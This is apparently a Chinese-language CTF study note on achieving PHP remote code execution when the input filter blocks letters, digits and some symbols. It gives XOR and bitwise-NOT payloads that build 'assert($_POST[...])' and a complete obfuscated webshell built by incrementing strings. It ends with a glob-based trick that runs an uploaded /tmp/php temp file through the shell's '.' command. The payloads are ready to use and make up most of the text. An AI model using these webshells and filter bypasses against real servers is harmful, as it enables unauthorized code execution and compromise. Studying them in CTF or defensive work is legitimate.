不包含数字or字母or特殊字符的RCE

参考题目:[SWPUCTF 2021 新生赛]hardrce

参考文章: 一些不包含数字和字母的webshell 无字母数字webshell之提高篇

绕过思路

法一 利用异或绕过

1
2
3
4
('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`')  //'assert'
'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')  //'_POST'

('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`')($'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')['in'])   //'assert($_POST['in'])'

通过本方法可以绕过对于字母的限制

法二 利用取反进行绕过

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'{2}的结果是\x8c,其取反即为字母s

法三 无法使用位运算时

由于'a'++ => 'b''b'++ => 'c'…… 通过该特性,可以得到只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。 而Array既有A又有a,因此可以通过其得到A-Z和a-z。 与此同时,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。 之后进行对Array的截取,可得a或A。

常用shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

无字母、数字、$

  1. 知识点: (1)shell下可以利用.来执行任意脚本 例: 当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。 (2)Linux文件名支持用glob通配符代替

  2. 针对(1) 如果目标服务器上有一个我们可控的文件,就可以利用.来执行它了。 得到文件方法:可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

  3. 针对(2) Linux下的glob通配符: *可以代替0个及以上任意字符 ?可以代表1个任意字符

/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

而glob支持用[^x]的方法来构造 “这个位置不是字符x” 可以用这个姿势干掉/bin/run-parts

1
2
 /???/???[^-]?????	//排除第四位为’-’的文件
  /???/???[^-][^.][^.][^.][^.]?[^.]?	//排除含’.’的文件

glob支持利用[0-9]来表示一个范围 找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件 ASCII码表中,大写字母位于@[之间 可以利用[@-[]来表示大写字母

构造POC

php生成临时文件名是随机的,最后一个字符不一定是大写字母,要多尝试几次

0%